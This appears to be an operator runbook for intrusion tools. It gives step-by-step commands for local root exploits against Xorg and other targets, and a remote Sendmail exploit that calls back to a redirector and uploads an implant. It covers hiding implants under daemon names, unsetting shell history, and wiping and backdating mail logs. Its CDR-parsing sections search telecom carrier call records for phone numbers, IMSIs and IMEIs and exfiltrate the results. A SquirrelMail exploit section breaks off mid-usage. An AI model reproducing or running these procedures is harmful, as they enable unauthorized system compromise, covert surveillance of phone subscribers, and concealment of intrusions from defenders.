new noserver +PATH=. crond + + + + + + +### +### IF AT FIRST YOU DON'T SUCCEED....... try, try..... the following in order: +### + +### If you received an error that permissions didn't change, you may try again. +### Next, try using the -r option. This option will prevent the temporary shell +### file from being removed if there is an error so that the operator will have a chance +### to do the cache flushing manually. + +-shell +./exze -r + +### if successful, run the "unset"s from above - you have root and can cleanup + +### If the 'permissions didn't change' error still happens, the flushing procedure +### will need to be performed manually before proceeding to the next step. + +find / -type f -exec cat {} \; > /dev/null + +### ONLY AFTER the 'find' completes, check the permissions of the shell file in /tmp: +### should be rws--x--- and owned by root +### DO NOT EXECUTE, OPEN, READ, OR WRITE TO THE SHELL FILE BEFORE THE EXPLOIT FINISHES +### AS IT MIGHT UNDO THE CHANGES MADE TO THE DISK!! THIS MEANS DO NOT DO AN LS +### ON THE FILE OR TOUCH IT IN ANY MANNER UNTIL THE EXPLOIT COMPLETES. + +-lt /tmp + +### if the permissions have changed, then manually attempt to get a root shell; +### the -d and -i options will attempt to perform the cleanup of the shell file in /tmp +### and reset the group perms of the DEVICE + +-lt /tmp +-shell +/tmp/file<######> -d -i + +### if you don't get root by now, you probably won't + + +### +### CLEANUP +### + +### no cleanup if successful the first time, however.... + +### there may be cleanup involved under the following conditions: +### the exploit did NOT work on the first attempt +### the exploit was aborted +### the connection to target was dropped + +### check the group id of the DEVICE where /tmp resides; +### if the group is not the same as it was originally, set it to +### the gid echoed back in your INITIAL ATTEMPT (digit following 0x000) + + +### NOTE: if you didn't get root, you may not be able to chgrp the device +### but hopefully, the exploit will have set it to gid '0' to be +### less conspicuous than that of your user's gid + +-lt /dev/ +chgrp /dev/ +-lt /dev + + +# the shell file (/tmp/file######) may need to be cleaned up on target: +-lt /tmp +-rm /tmp/file* + + +# remove the binary from /tmp +-rm exze + + + +### +### END File user.tool.expitiatezeke.COMMON +### (see also ../etc/user.tool.expitiatezeke.COMMON) + +### +### BEGIN File user.tool.englandbogy.COMMON (see also ../etc/user.tool.englandbogy.COMMON) +### + +####################################### +# ENGLANDBOGY +####################################### + +### local exploit against Xorg for the following versions: +### Xorg X11R7 1.0.1, X11R7 1.0, X11R6 6.9 +### Includes the following distributions: +### MandrakeSoft Linux 10.2, Ubuntu 5.0.4, SuSE Linux 10.0, +### RedHat Fedora Core5, MandrakeSoft Linux 2006.0 +### Fails-on - Xorg X11R7 1.0.2 and greater and less than Xorg X11R6 6.9. +### Requirements - Target needs to have the Xorg binary as SETUID root. +### + +### Exploits the Xorg X server by allowing unprivileged users load arbitrary modules + +### OPSEC: +### vulnerability: public +### exploit: public + +### Determine if vulnerable: + +uname -a + +### get Xorg version; should be one listed above: + +Xorg -version + +### see if Xorg is setuid root- should look similar to this (-rwsr-xr-x ) + +ls -la /usr/bin/Xorg + + +### if tests pass, let's do it: + +-put /current/up/eb eb + +-shell +./eb + +# lots of output similar to this: + + X Window System Version 6.9.0 + Release Date: 21 December 2005 + X Protocol Version 11, Revision 0, Release 6.9 + Build Operating System: SuSE Linux [ELF] SuSE + Current Operating System: Linux linux 2.6.16-rc5-git2-2-default #1 Tue Feb 28 09 :16:17 UTC 2006 i686 + Build Date: 26 February 2006 + Before reporting problems, check http://wiki.X.Org + to make sure that you have the latest version. + Module Loader present + Markers: (--) probed, (**) from config file, (==) default setting, + (++) from command line, (!!) notice, (II) informational, + (WW) warning, (EE) error, (NI) not implemented, (??) unknown. + (++) Log file: "Xorg.log", Time: Tue Jun 6 10:31:57 2006 + (==) Using config file: "/etc/X11/xorg.conf" + (EE) LoadModule: Module bitmap does not have a bitmapModuleData data object. + (EE) Failed to load module "bitmap" (invalid module, 0) + (EE) LoadModule: Module pcidata does not have a pcidataModuleData data object. + (EE) Failed to load module "pcidata" (invalid module, 0) + + Fatal server error: + Unable to load required base modules, Exiting... + + + Please consult the The X.Org Foundation support + at http://wiki.X.Org + for help. + Please also check the log file at "Xorg.log" for additional information. + + + +### you probably have root now, so do your unsets: + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id + +### start a new noserver as root: + +PATH=. crond + + +### Connect to nopen: + +-nstun TARGET_IP + +### CLEANUP: + +# no logging + + +### +### END File user.tool.englandbogy.COMMON +### (see also ../etc/user.tool.englandbogy.COMMON) + +### +### BEGIN File user.tool.earlyshovel.COMMON (see also ../etc/user.tool.earlyshovel.COMMON) +### + +######################################################### +# EARLYSHOVEL +######################################################### +### publicly known vulnerability +### remote exploit available for linux RH7 running sendmail +###Supported targets: +### "ASPRH73": ASP Linux 7.3 or RedHat 7.3 running Sendmail 8.11.6 +### "RH70": RedHat 7.0 running Sendmail 8.11.0 +### "RH71": RedHat 7.1 running Sendmail 8.11.2 +### "RH73": RedHat 7.3 running Sendmail 8.11.6 +### requires valid user name ( 7.1 and 7.3) +### may also require valid domain for (7.3) + + + + +mx +:%s/REDIRECTOR_IP/REDIRECTOR_IP/g +:%s/TARGET_IP/TARGET_IP/g +:%s/TARGET_OS/TARGET_OS/g +:%s/USER_NAME/USER_NAME/g +:%s/DOMAIN/DOMAIN/g +:%s/RANDOM_PORT/RANDOM_PORT/g +`x + + +#banner mail +-scan mail TARGET_IP + +# alternate way to banner + +##on pitch +-tunnel +l 2525 TARGET_IP 25 + +###local scripted +telnet 127.0.0.1 2525 + +## after getting banner +helo DOMAIN + +mail from: user@DOMAIN # use random user name + +### may be getting rejected as spam??? + + + + + +$ ./eash.py -? +usage: +/current/bin/earlyshovel/eash.py [options] +options + --atimeout seconds (default = 30) + Authentication timeout (in seconds) + --cip IPAddress (default = 127.0.0.1) + Callback IP address + --clport port + Local callback port + --cport port + Callback port + --ctimeout seconds (default = 30) + Callback timeout (in seconds) + --domain domainName + Domain name of sender + --exec filename + File to exec on successful upload + -? | --help + Print the usage message + --recipient emailAddress (default = root) + Email recipient + --target target + Target OS + --tip IPAddress (default = 127.0.0.1) + Target IP address + --tmpnam filename + Remote name of the uploaded file (of the form /tmp/fileXXXXXX)(def=filekdBtDF) + --tport port (default = 25) + Target port + --upload filename + File to upload +Supported targets: + "ASPRH73": ASP Linux 7.3 or RedHat 7.3 running Sendmail 8.11.6 + "RH70": RedHat 7.0 running Sendmail 8.11.0 + "RH71": RedHat 7.1 running Sendmail 8.11.2 + "RH72": RedHat 7.2 running Sendmail 8.11.6 + + + +### REDIRECTION +-tunnel +l 2525 TARGET_IP 25 +r RANDOM_PORT + +### LOCAL WINDOW: UPLOADS NOPEN AUTOMATCALLY- as of VERSION 2.4.0 +cd /current/bin/earlyshovel +./eash.py --tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT --recipient USER_NAME --target TARGET_OS --domain DOMAIN --exec /current/bin/noclient --upload /current/up/morerats/noserver-3.0.3.1-i586.pc.linux.gnu.redhat-5.0 + + -OR- + +### LOCAL WINDOW:MANUAL UPLOAD of NOPEN +cd /current/bin/earlyshovel + +./eash.py --tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT --recipient USER_NAME --target TARGET_OS + +./eash.py --tip 127.0.0.1 --tport 2525 --cip REDIRECTOR_IP --cport RANDOM_PORT --recipient USER_NAME --target TARGET_OS --domain DOMAIN + +### you will get an interactive root shell + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +id +pwd +w + + +# upload nopen as sendmail +which uudecode uncompress +mkdir /tmp/.scsi;cd /tmp/.scsi;pwd + +# if uudecode/uncompress exists: +# LOCALLY + +cd /current/up +cp /current/up/morerats/noserver-3.0.3.1-i586.pc.linux.gnu.redhat-5.0 sendmail +compress sendmail +uuencode sendmail.Z sendmail.Z > sendmail.Z.uu +gedit sendmail.Z.uu + +# on TARGET in interactive window +uudecode; ls -la +copy/paste gedit contents into this window +umcompress sendmail.Z +ls -l +chmod 700 sendmail +PATH=. sendmail + +# from redirector +-nstun TARGET_IP + +###END of MANUAL UPLOAD + +###CLEANUP +#if nopen is uploaded automatically: +-ls /tmp/filekdBtDF +-rm /tmp/filekdBtDF + + +# look where mail may be logged +grep mail /etc/syslog.conf + +-tail /var/log/maillog + +#remove mail messages from file +grep USER_NAME /var/log/maillog +# do this;if grep will clean everything needed +-gs grepout USER_NAME /var/log/maillog +# if our logs entries are the only entries in file +cat /dev/null > /var/log/maillog +#change timestamp of file +-touch /var/log/? /var/log/maillog + +#delete mail msgs from users mail dir: path may be different +-lt /var/spool/mail/USER_NAME + + +-get /var/spool/mail/USER_NAME + +#locally + +cp /current/down/hostname.IP/var/spool/mail/USER_NAME /current/up/t +cd /current/up/t +#remove email from t +-put /current/up/t t + +#target window +#if it looks good +cat t > /var/spool/mail/USER_NAME +# touch file to a "good" date +touch -t YYMMDDHHMM.ss /var/spool/mail/USER_NAME + + +#does user have a home dir +grep USER_NAME /etc/passwd + +# look for users home dir and list it + +-lt ?/?/USER_NAME + +## look for .procmail or .forward files +cat files if there.... + +### +### END File user.tool.earlyshovel.COMMON +### (see also ../etc/user.tool.earlyshovel.COMMON) + +### +### BEGIN File user.tool.curserazor.COMMON (see also ../etc/user.tool.curserazor.COMMON) +### + +################ CURSERAZOR ######################### +############### PARSING ################################################################### + +### vi Search/Replace commands ### +### ProjectName - self explanatory +### Date field - today's date, used for output files +### Host - hostname of the box (not IP address) +### Cryptkey - encryption key (use output from below md5sum command) + +md5sum /current/down/tcpdump.raw + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/HOST/HOST/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + +### Save the encryption key locally: + +echo CRYPTKEY > /current/down/cryptkey.curserazor.DDMonYY + +####### Prepare files containing numbers to search for: + +# if files containing the numbers to search available: +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/arg* /current/down/argfiles + #or +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles + +ls -altr + + +### Prep the argfiles: +### make sure the files are ASCII and contain NO EMPTY LINES!! +### make sure the last line does not contain a null character at the end +### (vi the file, add a carriage return to the last line, then delete the empty +### line and save) +### "file" results: +### This will not work: ASCII text, with CRLF line terminators +### This WILL: ASCII text +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no data media is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# if searching for LACs and cell id's, use the format in the documentation: +# ex. - 410 01 95 18374 +# if searching for phone numbers, use the normal format: +# ex. - 4837506 + +cd /current/down/argfiles +vi /current/down/argfiles/argfile1.txt + + +### Make sure find the cryptTool...add to PATH if which fails... +which cryptTool.v1.0.Linux2.4.18-14.targetdl + +### To encrypt one at a time... +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### Loop to encrypt all the argfiles +cd /current/down/argfiles +for i in argfile*.txt; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $i.enc -k CRYPTKEY -b + +file argfile*.enc + + +########## To look at CDR directories try the following: + +### Use the following commands to determine the location of current +### CDR data storage; Once you identify the location of the data, you'll +### use the head/tail commands to determine the date ranges being saved. +### These date ranges will be used as args in the curserazor commands. + +### Typical file locations per host: + +########################## hazyrazor: +# paths based on isb-ser-imelive 172.20.16.136 + +ls -l /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/*200710*GCDR$ | wc +ls -l /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ | grep 200710.*GCDR$ | head -30 +ls -l /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ | grep 200710.*GCDR$ | tail -30 + +### Tips for running the CURSERAZOR 1.1 + + ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! + ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional + ### passes are needed for the date range + ### The phone list is deleted automatically + + +######## Upload the parser (CURSERAZOR) and call it nscd +# put up the parser tool +# First, using a wildcard, confirm our hidden directory (and that we are priveleged) +-ctrl -d +# or maybe something like this? +-ls /lib/.02dbb* + +# Now (using the full path, this wildcard will fail), cd there and add it to our path +-cd /lib/.02dbb* +-addpath . + +# Put up the tool as nscd +-put /current/up/curserazor.v1.1.SunOS5.10.targetdl nscd +which nscd +-lt +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007103*GCDR' -print" -P ./awk +-ls -t +which nscd + + +##### Upload the encrypted phone list as awk, modify each parser command to have the +##### correct directory and date range of files to parse, then run the parser: + +##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc) +##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.) + +##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS + +############ argfile 1 + +-put /current/down/argfiles/argfile1.enc awk +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007103*GCDR' -print" -P ./awk +nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc1 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile1.enc awk +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -P ./awk +./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc1.more +-beep 15 + + +############ argfile 2 + +-put /current/down/argfiles/argfile2.enc awk +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007103*GCDR' -print" -P ./awk +nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc2 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile2.enc awk +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -P ./awk +./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc2.more +-beep 15 + + +############ argfile 3 + +-put /current/down/argfiles/argfile2.enc awk +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007103*GCDR' -print" -P ./awk +nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc2 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile2.enc awk +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -P ./awk +./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc2.more +-beep 15 + + +###### +###### survey mode: +###### + +### checks for IMEIs that have more than one IMSI associated with it: +### to limit amount of memory used, replace "-x" with "-X numberBytes" +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -x +./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc.surveyIMEI + + +### generates a list of Cell IDs associated with each MSC address: +### to limit amount of memory used, replace "-y" with "-Y numberBytes" +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -y +./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc.surveyMSC + + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + +cd /current/down +ls -latr cdrhits*enc* + +# to decrypt individually: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.curserazor.HOST.DDMonYY.enc1 -o cdrhits.curserazor.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.curserazor.HOST.DDMonYY.enc2 -o cdrhits.curserazor.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done +ls -latr cdr*txt* + +###### +###### If you need to stop the parser before it completes: +### Control-C the nopen window containing the parser command +### ps -ef |grep nscd +### if the parser command is still "running", then kill the process: +### kill -9 +### You'll still be able to decrypt the partially completed data pull + +###### +###### copy DECRYPTED data to media +###### +ls -l cdrhits*txt* +mz +cp cdrhits*txt* /mnt/zip*/PROJECTNAME +ls -l /mnt/zip*/PROJECTNAME +uz + + +##### +##### clean up +##### +-rm nscd awk +-lt +-cd /tmp +-lt + +w +ps -ef | sort +-lt / + +-burnBURN + +### +### END File user.tool.curserazor.COMMON +### (see also ../etc/user.tool.curserazor.COMMON) + +### +### BEGIN File user.tool.cursehappy.preversion4.COMMON (see also ../etc/user.tool.cursehappy.preversion4.COMMON) +### + +################ CURSEHAPPY ######################### +############### PARSING ################################################################### + +### vi Search/Replace commands ### +### ProjectName - self explanatory +### Date field - today's date, used for output files +### Rec type - record type correlates with ProjectName, valid values: eh, ls, ss, wb +### Host - hostname of the box (not IP address) +### Cryptkey - encryption key (use output from below md5sum command) + +md5sum /current/down/tcpdump.raw + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/RECTYPE/RECTYPE/g +:%s/HOST/HOST/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + +### Save the encryption key locally: + +echo CRYPTKEY > /current/down/cryptkey.cursehappy.DDMonYY + +####### Prepare files containing numbers to search for: + +# if files containing the numbers to search available: +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/arg* /current/down/argfiles + #or +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles + +ls -altr + + +### Prep the argfiles: +### make sure the files are ASCII and contain NO EMPTY LINES!! +### make sure the last line does not contain a null character at the end +### (vi the file, add a carriage return to the last line, then delete the empty +### line and save) +### "file" results: +### This will not work: ASCII text, with CRLF line terminators +### This WILL: ASCII text +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no data media is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# Format of each type of argument: +# p123456789 - phone number +# s123456789 - IMSI +# e123456789 - IMEI +# c123/456 - Cell/LAC (no leading 0's) + +cd /current/down/argfiles +vi /current/down/argfiles/argfile1.txt + + + +########## To look at CDR directories try the following: + +### Use the following commands to determine the location of current +### CDR data storage; Once you identify the location of the data, you'll +### use the head/tail commands to determine the date ranges being saved. +### These date ranges will be used as args in the cursehappy commands. + +### Typical file locations per host: + +########################## wholeblue: +# tpmw01 10.3.4.55 +# tpmw02 10.3.4.56 + +### verifies isb, khi, and lhr directories: +ls -ld /tp/med/datastore/collect/siemens_msc_* +ls -ld /tp/med/datastore/collect/siemens_msc_*/.tmp_ncr +ls -ld /tp/med/archive/collect/siemens_msc_* +ls -ld /tp/med/archive/collect/siemens_msc_*/.tmp_ncr + +### shows oldest and newest files in directories: +ls -latr /tp/med/datastore/collect/*isb*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*isb*/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*khi*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*khi*/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | tail -10 + +ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | tail -10 + +ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | tail -10 + +ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | tail -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | head -10 +ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | tail -10 + + +# isbapro1 10.5.7.51 +# nothing new +-lt /u01/product_evdp/evident/data_store/collect +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_isb01 | tail -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | head -10 +ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_lhr01 | tail -10 + +-lt /u03/archive/collect +# newer stuff +ls -latr /u03/archive/collect/siemens_msc_isb01 | head -10 +ls -latr /u03/archive/collect/siemens_msc_isb01 | tail -10 +ls -latr /u03/archive/collect/siemens_msc_isb01 | wc -l +# old stuff: +ls -latr /u03/archive/collect/siemens_msc_khi01 | head -10 +ls -latr /u03/archive/collect/siemens_msc_khi01 | tail -10 + + +########################## editionhaze: + +ls -latr /u06/saba/CDR/out/MS* | head -10 +ls -latr /u06/saba/CDR/out/MS* | tail -10 +ls -latr /u06/saba/CDR/out/MS* | wc -l + +########################## liquidsteel: + +########################## sicklestar: + +### magnum: CURSEHAPPY not working on all SS .usd files :-( +### Try these first, should be all of them in one spot +ls -latr /usd_archive/mc_storage/*usd | head -10 +ls -latr /usd_archive/mc_storage/*usd | tail -10 + +### If none in previous ones... +ls -latr /sys1/var/billing/out_coll/*usd | head -10 +ls -latr /sys1/var/billing/out_coll/*usd | tail -10 +ls -latr /sys1/var/alcatel/out_coll/*usd | head -10 +ls -latr /sys1/var/alcatel/out_coll/*usd | tail -10 + +ls -latr /sys1/var/billing/msc_is2 | tail -20 + +########################## CURSEHAPPY ######################################################## +############################################################################################### + +### Now, encrypt the ascii list...first make sure you have the encryption tool: +which cryptTool.v1.0.Linux2.4.18-14.targetdl + +### If cryptTool not in PATH, change your PATH or insert full path in command + +### to encrypt one at a time...skip to next comment to encrypt all at once: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### to encrypt all at the same time: +for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done + +ls -l +file argfile*.enc + +### Tips for running the CURSEHAPPY 3.2 + + ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! + ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional + ### passes are needed for the date range + ### DO NOT use -loglevel if also using >L: or >T: (mixed output corrupts the decryption) + ### The phone list is NOT deleted automatically in v3.2 + ### remove it between each run as a practice + +### Useful options: +-n name of text file containing phone numbers +-rt record type: eh, ls, ss, RECTYPE +-files list of files to parse (can contain wildcards) optional - same as no option +-d output optional fields +-all all record output (no search performed) +-loglevel [#] level of info emitted via stderr:0,1,2,3 + + +######## Upload the parser (CURSEHAPPY) and called it crond +# put up the parser tool +mkdir /tmp/.scsi +-cd /tmp/.scsi + +-put /current/up/cursehappy crond + + # or + +-put /mnt/zip*/cursehappy crond + +##### Upload the encrypted phone list as adm, modify each parser command to have the +##### correct directory and date range of files to parse, then run the parser: + +##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc) +##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.) + +##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS + +############ argfile 1 + +-put /current/down/argfiles/argfile1.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc1 +-beep 15 + +### Remove tasking once crond is running +-rm adm + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile1.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[012]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc1.more +-beep 15 + +-rm adm + +############ argfile 2 + +-put /current/down/argfiles/argfile2.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc2 +-beep 15 + +### Remove tasking once crond is running +-rm adm + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile2.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc2.more +-beep 15 + +-rm adm + +############ argfile 3 + +-put /current/down/argfiles/argfile3.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[3456]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc3 +-beep 15 + +### Remove tasking once crond is running +-rm adm + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile3.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.enc3.more +-beep 15 + +-rm adm + + +############# +############# for loglevel testing (local file should be ascii?) +############# + +-put /current/down/argfiles/argfile1.enc adm +KEY=CRYPTKEY; export KEY; ./crond -rt RECTYPE -n ./adm -w e -loglevel 2 -d /CHANGEME/CDRFILES.2006071[0-2]* >T:/current/down/cdrhits.cursehappy.HOST.DDMonYY.test +-beep 15 +-rm adm + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + + +cd /current/down +ls -latr cdr*enc* + +# to decrypt individually: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehappy.HOST.DDMonYY.enc1 -o cdrhits.cursehappy.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehappy.HOST.DDMonYY.enc2 -o cdrhits.cursehappy.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done +ls -latr cdr*txt* + +###### +###### If you need to stop the parser before it completes: +### Control-C the nopen window containing the parser command +### ps -ef |grep crond +### if the parser command is still "running", then kill the process: +### kill -9 +### You'll still be able to decrypt the partially completed data pull + + + +###### +###### copy DECRYPTED data to media +###### +ls -l cdr*txt* +mz +cp cdr*txt* /mnt/zip*/PROJECTNAME +ls -l /mnt/zip*/PROJECTNAME +uz + + +##### +##### clean up +##### +-rm crond adm +-lt +-cd /tmp +-rm .scsi +-lt + +w +ps -ef | sort +-lt / + +-burnBURN + +### +### END File user.tool.cursehappy.preversion4.COMMON +### (see also ../etc/user.tool.cursehappy.preversion4.COMMON) + +### +### BEGIN File user.tool.elideskew.COMMON (see also ../etc/user.tool.elideskew.COMMON) +### + +######################################################### +# ELIDESKEW v1.0.0.1 +######################################################### +### Public known vulnerablity in SquirrelMail versions 1.4.0 - 1.4.7 +### Patched for versions => 1.4.8 +### Tested on CentOS and FreeBSD successfully +### will be apache on target; use approprate tool( if available) to elevate + + +mx +:%s/REDIRECTOR_IP/REDIRECTOR_IP/g +:%s/TARGET_IP/TARGET_IP/g +:%s/RANDOM_PORT/RANDOM_PORT/g +`x + +### scan port 80 to look for squirrel banner ( may report version; needs to +### be version 1.4.0 - 1.4.7 to work) +### need banner to help determine squirrel mail dir +-scan http TARGET_IP + + +### set up redirection +### on redirector +-tunnel +l 80 TARGET_IP + +## get ELIDESKEW usage +## scripted local window +cd /current/bin + +./elideskew.pl + -ch - Check forexploit + -l [file] - File to upload + -r [path] - Upload destination path/filename + -c [String] - Command Line to execute, if you want + to use the file just uploded, then INCLUDE IT. + -u [url] - 